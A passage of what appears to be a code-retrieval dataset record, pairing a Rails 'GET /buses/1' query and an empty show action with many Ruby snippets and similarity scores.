BanksApi#banks_get. Result: #{result.inspect}\"\n end\n return result\n end",
"def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end",
"def state_beers\n render json: BreweryDb::ShowBeers.new('state', params[:state]).results\n end",
"def getblockchaininfo\n @api.request 'getblockchaininfo'\n end",
"def get\n execute_request('GET') do |uri, headers|\n HTTP.http_client.get(\n uri,\n follow_redirect: true,\n header: headers\n )\n end\n end",
"def microservice_i(id)\r\n my_port = 8082\r\n store_message = \"/store/#{id}/#{$light}/#{$suit}/#{$wealth}/#{$sword}/#{$amulet}/#{$axe}/#{$food}/#{0}\"\r\n url = URI.parse(\"http://localhost:#{my_port}#{store_message}\")\r\n req = Net::HTTP::Get.new(url.to_s)\r\n res = Net::HTTP.start(url.host, url.port){|http|\r\n http.request(req)\r\n }\r\n my_json = JSON.parse(res.body) \r\n\r\n $light = my_json['light']\r\n $suit = my_json['suit']\r\n $wealth = my_json['wealth']\r\n $sword = my_json['sword']\r\n $amulet = my_json['amulet']\r\n $axe = my_json['axe']\r\n $food = my_json['food']\r\n puts(\"#{my_json['text']}\\n\")\r\n\r\n if id == 4\r\n food_units = gets.strip.to_i\r\n buy_food(7,food_units)\r\n end\r\nend",
"def goes_to(path,opts={},&block) #:nodoc: \n opts.reverse_merge!({:expects => :success})\n crud_to(:get,path,opts[:params] || {},opts,&block)\n end",
"def json_get(path, params={})\n json_request(:get, path, params)\n end",
"def status\n get('/api/status')\n end",
"def show\n render json: @used_bike, serializer: Web::V1::UsedBikeSerializer\n end",
"def get(path, query={})\n request_json :get, path, query\n end",
"def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end",
"def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend",
"def buyers\n result = get_buyers(params, false)\n render json: result, status: 200\n end",
"def view_bleapp\n \tbegin\n \t\tproperty = Property.find(params[:property][:property_id])\n\t\t\t@bleapps = property.bleeapps\n\t\t\tif @bleapps.present?\n\t\t\t\trender :file => 'api/v1/property/view_bleapp'\n\t\t\telse\n\t\t\t\trender_json({\"status\" => \"Fail\", \"message\" => \"No bleapp found\"}.to_json)\n\t\t\tend\n \trescue\n \t \trender_json({\"status\" => \"Fail\", \"message\" => \"Something went wrong.\"}.to_json)\n \tend\n end",
"def get\n url = prefix + \"get\"\n return response(url)\n end",
"def get\n url = prefix + \"get\"\n return response(url)\n end",
"def index\n @blasts = Blast.accessible_by(current_ability)\n \n if params[:filter] && !params[:filter].blank?\n @blasts = Blast.where(\"title LIKE ?\", \"%#{params[:filter]}%\")\n end\n \n if params[:status] && !params[:status].blank?\n @blasts = Blast.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @blasts.to_json(:include => [:output, :owner, :entry])}\n end\n end",
"def index\n json_response(@device.browsers)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end"
] |
[
"0.64945203",
"0.6422935",
"0.62806463",
"0.6220149",
"0.6091267",
"0.5867946",
"0.5773491",
"0.5770237",
"0.5687361",
"0.5583973",
"0.5580797",
"0.5574216",
"0.55622816",
"0.55621624",
"0.5552885",
"0.55494064",
"0.55458933",
"0.5544315",
"0.5515147",
"0.5507138",
"0.5497016",
"0.5476422",
"0.547207",
"0.5458607",
"0.5446392",
"0.5419057",
"0.5411737",
"0.540849",
"0.5404704",
"0.54028875",
"0.53938395",
"0.53837085",
"0.5369101",
"0.5352979",
"0.53383404",
"0.53309774",
"0.53300077",
"0.5328227",
"0.5327881",
"0.5314695",
"0.5313673",
"0.5313673",
"0.5296528",
"0.5286415",
"0.52852434",
"0.5278228",
"0.5277327",
"0.52736413",
"0.5270302",
"0.52664936",
"0.52657557",
"0.5264836",
"0.5264385",
"0.5254428",
"0.52525634",
"0.5247232",
"0.5233849",
"0.5221288",
"0.52076656",
"0.5204321",
"0.5202173",
"0.52019554",
"0.5201411",
"0.5200299",
"0.52001923",
"0.51988465",
"0.5193745",
"0.5193128",
"0.5192615",
"0.51908314",
"0.51877683",
"0.5184931",
"0.51834095",
"0.5182092",
"0.517754",
"0.51739734",
"0.51738113",
"0.51700354",
"0.51686513",
"0.5167081",
"0.51662517",
"0.516162",
"0.5161288",
"0.5161122",
"0.5160108",
"0.5160024",
"0.5159048",
"0.515291",
"0.51523393",
"0.51507103",
"0.5147747",
"0.5145318",
"0.5145318",
"0.5143561",
"0.5135376",
"0.51313066",
"0.51313066",
"0.51313066",
"0.51313066"
] |
0.64182436
|
3
|
GET /buses/1 or /buses/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @buses = Bus.where(id: params[:id], event_id: params[:event_id])\n end",
"def index\n @buses = Bus.all\n end",
"def index\n @buses = Bus.all\n end",
"def index\n @buses = Bus.order('leaving_from_id')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @buses }\n end\n end",
"def get_brandings\n request :get, \"/v3/brandings.json\"\n end",
"def show\n\n @buses = find_buses\n\n if @buses.empty?\n respond_to do |format|\n format.html { redirect_to edit_location_url(@location), notice: \"No buses within #{@location.acceptable_bus_distance} miles of this location!\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def buses\n @buses = Bus.search(params[:source_search], params[:destination_search])\n end",
"def getbatteries\n puts params\n buildid = params[\"buildingid\"]\n\n batteries = Battery.where(:building_id => buildid)\n\n puts batteries.inspect\n puts \"#################################################\"\n \n respond_to do |format|\n format.json { render json: batteries }\n end\n end",
"def show\n render \"api/v1/bounties/show\"\n end",
"def get\n start { |connection| connection.request http :Get }\n end",
"def get(path, busca=nil)\n @client.get(path, busca)\n end",
"def index\n @buses = Bus.order('created_at DESC').paginate(:page => params[:page], :per_page => 20)\n end",
"def get_beer\n beer_id = params['id'];\n response = HTTP.get('http://api.brewerydb.com/v2/beer/' + beer_id,\n :params=> {\n :key => ENV[\"BREWERYDB_BEERRATER_KEY\"],\n :withBreweries => \"y\"\n }\n )\n\n body = response.parse\n\n # check for success\n if body[\"status\"] == \"success\"\n data = body[\"data\"]\n unless data.nil?\n render json: {\n status: 200,\n message: \"#{params['id']} found\",\n data: data}\n else\n render json: {\n status: 200,\n message: \"#{params['id']} not found\",\n data: []\n }\n end\n else\n render json: { status: 401, message: body[\"errorMessage\"]}\n end\n end",
"def show\n @bloom = Bloom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bloom }\n end\n end",
"def get_batterie_by_building\n @battery = Battery.where(building_id: params[:building_id])\n respond_to do |format| \n format.json { render :json => @battery }\n end\n \n end",
"def show\n @beer = BreweryDB.beer(params[:id]) \n render json: @beer\n end",
"def show\n @bb = Bb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bb }\n end\n end",
"def get(path, params={})\n params = merge_set_up_params(params)\n JSON.parse(Typhoeus::Request.get(API_URL + path, :params => params).body)[\"response\"]\n end",
"def show\n @broad = Broad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @broad }\n end\n end",
"def bonuses\r\n BonusesController.instance\r\n end",
"def get_json()\n\n http = Net::HTTP.new(STATUS_URI.host, STATUS_URI.port)\n http.use_ssl = false\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(\"/api/services.json\")\n\n response = http.request(request)\n JSON.parse(response.body)\nend",
"def index\n @shop_section = ShopSection.find_by_short_url(\"brands\")\n @brands = Brand.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brands }\n end\n end",
"def show\n @blocking_client = BlockingClient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blocking_client }\n end\n end",
"def show\n @basin = Basin.find(params[:id])\n\n @client = YahooWeather::Client.new \n @response = @client.fetch_by_location('Massingir, Gaza, Mz','c')\n @reponse2 = @client.fetch_by_location('Louis Trichardt, Limpopo, South Africa','c')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @basin }\n\n end\n end",
"def get\n @get ||= Verb.new do |verb|\n verb.entity :air, :lodging, :car, :rail, :transport, \\\n :cruise, :restaurant, :activity, :note, :map, :directions, \\\n :points_program \\\n do |entity, id|\n do_request('get', entity, {:id=>id}, nil)\n end\n\n verb.entity :profile do |*args|\n entity = args[0]\n do_request('get', entity, nil, nil)\n end\n\n verb.entity :trip do |*args|\n entity, id, filter = args\n if filter.nil?\n filter = {}\n end\n filter[:id] = id\n do_request('get', entity, filter, nil)\n end\n end\n end",
"def get(path, params={})\n params = merge_set_up_params(params)\n @token = \"b3688c52-9235-45ca-b01f-c5b2b83a4f4f\"\n @result = Typhoeus::Request.get(API_URL + path, :params => params,\n :headers => {\"Authorization\" => \"Basic#{@token}\"})\n puts @result.body\n # check if the url looks correct in the log\n puts @result.effective_url\n # parse the result to json\n return JSON.parse(@result.body)\n end",
"def show\n @blast = Blast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blast }\n end\n end",
"def get(name, &block)\n request(uri(name), &block)\n end",
"def get(params={})\n rpc_call :get, params\n end",
"def do_GET(request, response)\n status = 200\n content_type = \"text/html\"\n body = \"bender version #{BENDER_VERSION}\"\n body += \"\\n\"\n\n response.status = status\n response['Content-Type'] = content_type\n response.body = body\n response.body = body\n end",
"def bonuses(count = 10)\n params = { command: 'account_bonuses', count: count }\n get('/json.php', params)\n end",
"def api_get url_suffix\n url = URI::encode \"#{@@oauth_info[:api_url]}/gems/#{url_suffix}\"\n data = {:client_id => @@oauth_info[:client_id]}\n headers = {:Authorization => \"Bearer #{@access_token}\"}\n\n conn = get_conn url\n #Try request 3 times\n for i in 1..3\n res = conn.get(url, data, headers)\n if res.status == 200 then return JSON.parse(res.body) end\n sleep 1\n end\n raise OAuthSessionError, \"GET Failed. Status: #{res.status}. Body: #{res.body}\"\n end",
"def find_beers\n # Use wild cards to get any beer with search string in name\n beer_name = \"*#{params['name']}*\"\n response = HTTP.get('http://api.brewerydb.com/v2/beers',\n :params=> {\n :key => ENV[\"BREWERYDB_BEERRATER_KEY\"],\n :name => beer_name,\n :withBreweries => \"y\"\n }\n )\n\n body = response.parse\n\n # check for success\n if body[\"status\"] == \"success\"\n data = body[\"data\"]\n unless data.nil?\n render json: { status: 200, message: \"#{params['name']} found\", data: data}\n else\n render json: {\n status: 200,\n message: \"#{params['name']} not found\",\n data: []}\n end\n else\n render json: { status: 401, message: body[\"errorMessage\"] }\n end\n end",
"def get endpoint\n do_request :get, endpoint\n end",
"def get(url, params = {})\n client.get(url, params).body\n end",
"def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end",
"def json_get(path, params={})\n json_request(:get, path, params)\n end",
"def battery_select\n p params[\"building_id\"]\n @batteries = Battery.where(building_id: params[\"building_id\"])\n respond_to do |format |\n format.json {\n render json: {\n batteries: @batteries\n }\n }\n end\n end",
"def microservice_i(id)\r\n my_port = 8082\r\n store_message = \"/store/#{id}/#{$light}/#{$suit}/#{$wealth}/#{$sword}/#{$amulet}/#{$axe}/#{$food}/#{0}\"\r\n url = URI.parse(\"http://localhost:#{my_port}#{store_message}\")\r\n req = Net::HTTP::Get.new(url.to_s)\r\n res = Net::HTTP.start(url.host, url.port){|http|\r\n http.request(req)\r\n }\r\n my_json = JSON.parse(res.body) \r\n\r\n $light = my_json['light']\r\n $suit = my_json['suit']\r\n $wealth = my_json['wealth']\r\n $sword = my_json['sword']\r\n $amulet = my_json['amulet']\r\n $axe = my_json['axe']\r\n $food = my_json['food']\r\n puts(\"#{my_json['text']}\\n\")\r\n\r\n if id == 4\r\n food_units = gets.strip.to_i\r\n buy_food(7,food_units)\r\n end\r\nend",
"def view_bleapp\n \tbegin\n \t\tproperty = Property.find(params[:property][:property_id])\n\t\t\t@bleapps = property.bleeapps\n\t\t\tif @bleapps.present?\n\t\t\t\trender :file => 'api/v1/property/view_bleapp'\n\t\t\telse\n\t\t\t\trender_json({\"status\" => \"Fail\", \"message\" => \"No bleapp found\"}.to_json)\n\t\t\tend\n \trescue\n \t \trender_json({\"status\" => \"Fail\", \"message\" => \"Something went wrong.\"}.to_json)\n \tend\n end",
"def index\n @brands = Brand.all\n if params[:name]\n \t@brand = Brand.find_by_name(params[:name])\n end\n\n respond_to do |format|\n \tif @brand\n \t\tformat.html { redirect_to @brand }\n \t\tformat.json { render json: @brand }\n \telse\n\t format.html # index.html.erb\n \tformat.json { render json: @brands }\n end\n end\n end",
"def current\n batles = BatlePool.instance.all\n render json: batles,\n except: :location_id,\n include: [:heroes, :threat],\n status: :ok\n end",
"def list_active_aos_versions(args = {}) \n get(\"/aosversions.json/\", args)\nend",
"def show_beer\n render json: BreweryDb::ShowBeer.new(params[:beerId]).results\n end",
"def get_battery\n if params[:building].present?\n @batteries = Building.find(params[:building]).batteries\n else\n @batteries = Building.all\n end\n if request.xhr?\n respond_to do |format|\n format.json {\n render json: {batteries: @batteries}\n }\n end\n end\n end",
"def get(params = {})\n request! do\n api[url.path + to_query(params)].get(API_HEADERS)\n end\n end",
"def get(path, params = {})\n path = File.join(@prefix, path)\n JSON.parse @conn.get(path, params).body\n end",
"def api_get(path, params = {})\n api_request(:get, path, :params => params)\n end",
"def get(path, params={})\n RestClient.get request_base+path, {params: params}\n end",
"def show\n @breadcrumb = 'read'\n @use = Use.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @use }\n end\n end",
"def get\n Iterable.request(conf, base_path).get\n end",
"def get\n Iterable.request(conf, base_path).get\n end",
"def index\n response = RestClient.get 'http://api.bitvalor.com/v1/order_book.json'\n data = JSON.parse(response.body)[\"bids\"]\n @fox = data.select {|element| element[0] == \"FOX\"}\n @b2u = data.select {|element| element[0] == \"B2U\"}\n @mbt = data.select {|element| element[0] == \"MBT\"}\n end",
"def get_coins\n get(\"/getcoins\")\n end",
"def banks_get(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: BanksApi#banks_get ...\"\n end\n \n # resource path\n path = \"/banks\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = ['khipu']\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BanksResponse')\n if Configuration.debugging\n Configuration.logger.debug \"API called: BanksApi#banks_get. Result: #{result.inspect}\"\n end\n return result\n end",
"def show\n @bus_route = BusRoute.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bus_route }\n end\n end",
"def show\n render json: @used_bike, serializer: Web::V1::UsedBikeSerializer\n end",
"def do_query(params) \n link = @api_url + \"/brief/json/\" + params\n return MultiJson.load( open(link).read )\n end",
"def show\n\n\n @buisness = Buisness.find(params[:id])\n\n if @buisness==nil\n render text: \"Cannot find the specified buisness in the database\"\n end\n render json: @buisness\n end",
"def show\n @bluetooth = Bluetooth.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bluetooth }\n end\n end",
"def show\n @buisiness = Buisiness.find(params[:id])\n end",
"def beacons\n response = request(:get, \"/beacon\")\n response_to_array(response, \"beacons\", KontaktIo::Resource::Beacon)\n end",
"def get_blockchain_stats\n stats = HTTParty.get(\"http://webbtc.com/stats.json\")\nend",
"def get(name,&block)\n build_resource(name, :get, &block)\n end",
"def show\n @brewhouse = Brewhouse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brewhouse }\n end\n end",
"def show\n connection = connection_from_params\n if connection.nil?\n head 404\n else\n render jsonapi: connection_from_params, serializer: Connection::Serializer\n end\n end",
"def one_bus_away(method, id=nil, params={})\n\t\t# optional id parameter. omit it and it will be ignored\n\t\tif id.class() == Hash \n\t\t\tparams = id\n\t\t\tid = nil\n\t\tend\n\n\t\t# prepare the query parameter string\n\t\t# params['includeReferences'] = false\n\t\t[:format, :controller, :action, :method, :id].each {|key| params.delete key }\n\t\t@query = params.map {|key, value| \"#{key}=#{value}\"}.join('&')\n\t\t\n\t\t# encode ID in URL if it exists\n\t\tmethod += \"/\" + ERB::Util.url_encode(id) unless id.nil?\n\n\t\tputs \"method: #{method}, query: #{@query}\"\n\t\tresult = get_json(\"http://api.onebusaway.org/api/where/#{method}.json?key=TEST&#{@query}\")['data']\n\t\t(result.is_a?(Hash) and result.has_key?('entry')) ? result['entry'] : result\n\tend",
"def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end",
"def index\n @used_bikes = UsedBike.all\n\n render json: @used_bikes, each_serializer: Web::V1::UsedBikeSerializer\n end",
"def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def get(path, params)\n parse_response @client[path].get(:params => params)\n end",
"def index\n @brags = Brag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brags }\n end\n end",
"def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :user_guid => HttpClient::Preconditions.assert_class_or_nil('user_guid', HttpClient::Helper.to_uuid(opts.delete(:user_guid)), String),\n :service_key => HttpClient::Preconditions.assert_class_or_nil('service_key', opts.delete(:service_key), String),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/watches\").with_query(query).get.map { |hash| Apidoc::Models::Watch.new(hash) }\n end",
"def banks_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ConnectionsApi.banks_get ...'\n end\n # resource path\n local_var_path = '/banks'\n\n # query parameters\n query_params = {}\n query_params[:'expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2008')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConnectionsApi#banks_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def init_brands\n response = @conn.get do |req|\n req.url \"/api/v1/brands\"\n req.headers = rest_headers\n end\n\n @brands = json(response.body)[:brands]\n end",
"def index\n @bids = @swarm_request.bids.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bids }\n end\n end",
"def room_descriptions_method\r\n my_port = 8081\r\n htttproomnumber = $roomnumber\r\n roomsNtext = \"/#{htttproomnumber}\"\r\n rooms_message = \"/rooms#{roomsNtext}\"\r\n url = URI.parse(\"http://localhost:#{my_port}#{rooms_message}\")\r\n req = Net::HTTP::Get.new(url.to_s)\r\n res = Net::HTTP.start(url.host, url.port){|http|\r\n http.request(req)\r\n }\r\n my_json = JSON.parse(res.body) \r\n return my_json[\"room\"].to_s\r\nend",
"def show\n @boat = Boat.find(params[:id])\n\n render json: @boat\n end",
"def index\n @usages = get_usages\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usages }\n end\n end",
"def show\n @weibo = Weibo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weibo }\n end\n end",
"def index\n json_response(@device.browsers)\n end",
"def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend",
"def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend",
"def get_item( item )\n @session.base_url = \"http://cl.ly\"\n resp = @session.get( \"/\" + item )\n \n raise ItemNotFound if resp.status == 404\n Crack::JSON.parse(resp.body)\n end",
"def index\n @bowlers = Bowler.all\n respond_with(@bowlers)\n end",
"def show\n @consensu = Consensu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @consensu }\n end\n end",
"def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end",
"def get(path, params = {})\n request(:get, path, params)\n end",
"def get(path, params = {})\n request(:get, path, params)\n end",
"def get(path, params={})\n request(:get, path, params)\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end"
] |
[
"0.6344552",
"0.6305437",
"0.6305437",
"0.62324065",
"0.60892606",
"0.60346925",
"0.6028397",
"0.6009085",
"0.58693695",
"0.57752204",
"0.5749657",
"0.57324326",
"0.5695317",
"0.56766564",
"0.56667954",
"0.5665311",
"0.565203",
"0.5627598",
"0.56126827",
"0.5610154",
"0.55217415",
"0.55117",
"0.54898775",
"0.5469942",
"0.54668874",
"0.5466014",
"0.5460768",
"0.54555684",
"0.54549277",
"0.5454692",
"0.5451674",
"0.5413415",
"0.54132646",
"0.5399891",
"0.5390728",
"0.53872067",
"0.53807956",
"0.537568",
"0.5375284",
"0.53685063",
"0.5363654",
"0.53623164",
"0.5359602",
"0.53574413",
"0.535236",
"0.53521407",
"0.53466207",
"0.53433657",
"0.53316134",
"0.53278285",
"0.53244317",
"0.53244317",
"0.5323795",
"0.5321085",
"0.53190726",
"0.53176135",
"0.5314347",
"0.5308121",
"0.53070784",
"0.5295151",
"0.52930516",
"0.5291408",
"0.52907723",
"0.52748656",
"0.526595",
"0.5262029",
"0.5260306",
"0.52601105",
"0.5256476",
"0.52522904",
"0.5252185",
"0.5252185",
"0.5252185",
"0.5252185",
"0.5252185",
"0.5252185",
"0.5252185",
"0.5252185",
"0.5252185",
"0.5252185",
"0.5252085",
"0.5250831",
"0.52498674",
"0.52494323",
"0.5245836",
"0.5241993",
"0.5234039",
"0.52337444",
"0.5231982",
"0.5231145",
"0.52310133",
"0.5229999",
"0.52296007",
"0.52283716",
"0.5224556",
"0.5223074",
"0.52192646",
"0.52158856",
"0.52158856",
"0.5214882",
"0.52105224"
] |
0.0
|
-1
|
methode qui lance un tour
|
def go
@i += 1
puts "===================="
puts "Tour n°#{@i}"
puts "===================="
#creation d'une boucle pour alterner les joueurs
loop do @i < 9
if @i.odd?
turn(@joueur1)
else @i.even?
turn(@joueur2)
end
break if @i == 9
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def tour (starting, following)\n action(action_choice(starting.name), starting)\n if is_over? != true\n action(action_choice(following.name), following)\n end\nend",
"def tourSuivant( vue )\n\t\t@nbTour += 1\n\t\tlistePNJ = Array.new\n\t\tvue.each do |y|\n\t\t\ty.each do |x|\n\t\t\t\tif x.pnj\n\t\t\t\t\tlistePNJ.push(x.pnj)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tlistePNJ.each do |x|\n\t\t\tx.comportement( joueur )\n\t\tend\n\t\tif joueur.pointsDeVie <= 0\n\t\t\t@controleur.gameOver\n\t\tend\n\tend",
"def reunite()\n tour_cost = cost + @@graph.distance(@path.last, @path.first)\n LKTour.new(@path, tour_cost)\n end",
"def tourDejeu()\n\t\t#partie Joueur\n\t\tif @type != \"ia\"\n\t\t\tputs \"A moi de jouer (#{nom})\"\n\t\t\tprint \"ligne :\"\n\t\t\tx = gets.chomp()\n\t\t\tprint \"colonne :\"\n\t\t\ty = gets.chomp()\n\t\t\treturn [x.to_i - 1,y.to_i - 1,@forme, @type]\n\t\telse\n\t\t\tsleep(0.5)\n\t\t\tx = rand(1..3)\n\t\t\ty = rand(1..3)\n\t\t\treturn [x.to_i - 1,y.to_i - 1,@forme, @type]\n\t\tend\n\tend",
"def moves\n\n end",
"def moves\n end",
"def tour\r\n\r\n #Print to screen and take input\r\n puts \"Enter a starting row: \"\r\n row = gets\r\n puts \"Enter a Starting Column: \"\r\n column = gets\r\n\r\n #convert the row and column to an integer\r\n row = row.to_i\r\n column = column.to_i\r\n\r\n nextMove(row,column)\r\n end",
"def tours\n methods.map(&:to_s).grep(/^tour_/).map {|m| m.sub(/^tour_/,'')}\n end",
"def on_click_aller_retour\n @pile_action.vers_dernier_point_de_retour\n end",
"def tourDejeu()\n\t\tputs \"A moi de jouer (#{nom})\"\n\t\tprint \"ligne :\"\n\t\tx = gets.chomp()\n\t\tprint \"colonne :\"\n\t\ty = gets.chomp()\n\t\treturn [x.to_i - 1,y.to_i - 1,@forme]\n\tend",
"def tu_turno\n Jugador.tu_turno\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def set_tour\n @tour = Tour.find(params[:id])\n end",
"def travel(*args, &block); end",
"def tour_from_points(points, options = {})\n options.merge!({\n :pause => 1,\n :exaggerate => 1\n }) { |key, old, new| old }\n TelemetryProcessor.options = options\n (0..(points.size-3)).each do |i|\n TelemetryProcessor::add_flyto points[i,3]\n end\n end",
"def create_tour()\n\t\tchd = Hash.new(-1)\n\t\tfor i in 0..@problem.size - 1\n\t\t\tchd[i] = @problem.succesors(i)\n\t\tend\n\n\t\tvertices = [*1..@problem.size]\n\t\tvertices.delete(@problem.start)\n\t\toutput = [@problem.start]\n\t\twhile vertices.any?\n\t\t\tu = output.last\n\t\t\tchildren = chd[u]\n\t\t\tv = children.first\n\n\t\t\tif not vertices.include? v\n\t\t\t\tv = children[1]\n\t\t\tend\n\t\t\tchd.each do |key, value|\n\t\t\t\tchd[key].delete(v)\t\n\t\t\tend\n\n\t\t\tif v == nil\n\t\t\t\treturn output\n\t\t\tend\n\t\t\tvertices.delete(v)\n\t\t\toutput.push(v)\n\t\tend\t\n\t\treturn output\n\tend",
"def turno!\r\n\t\t#CICLO PARA PASAR POR EL ARREGLO HASTA ENCONTRAR LAS CELDAS VIVAS O LAS CELULAS MUERTAS QUE CUMPLEN CON LA REGLA 4\r\n\t\tfor f in 0..@y1-1\r\n\t\t\tfor c in 0..@x1-1\r\n\r\n\t\t\t\tif @matriz[f][c] == true\r\n\t\t\t\t\tVecinos(@matriz,f,c) #checo cuantos vecinos tengo alrededor\r\n\t\t\t\t\tReglas(@matriz,@matrizTMP,@cuantos,f,c)#verifico si cumple alguna regla de conway\r\n\r\n\t\t\t\t\t\t\r\n\t\t\t\telse # de lo contrario la celda esta en false y debo comprobar la regla 4\r\n\t\t\t\t\t\r\n\t\t\t\t\tVecinos(@matriz,f,c) #regreso cuantos vecinos tiene vivos\r\n\t\t\t\t\t#REGLA 4. Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.\r\n\t\t\t\t\tif @cuantos == 3\r\n\t\t\t\t\t\t@matrizTMP[f][c] = true\r\n\t\t\t\t\tend\r\n\t\t\t\tend #cierra if\r\n\t\t\tend #cierra ciclo for\r\n\t\tend #cierra ciclo for \r\n\r\n\t\t#ACTUALIZO LA MATRIZ CON LA TEMPORAL QUE ES COMO DEBE QUEDAR AHORA EL JUEGO\r\n\t\tfor f in 0..@y1-1\r\n\t\t\tfor c in 0..@x1-1\r\n\t\t \t\t@matriz[f][c]=@matrizTMP[f][c]\r\n\t\t\tend\r\n\t\tend\r\n\r\n\tend",
"def after_tours; end",
"def move(direction)\n \n end",
"def moves\n # overridden in slideable/stepable modules\n end",
"def as_solution()\n idx = @tour.index(0)\n path = @tour[idx, @tour.length] + @tour[0, idx]\n path.push(0)\n end",
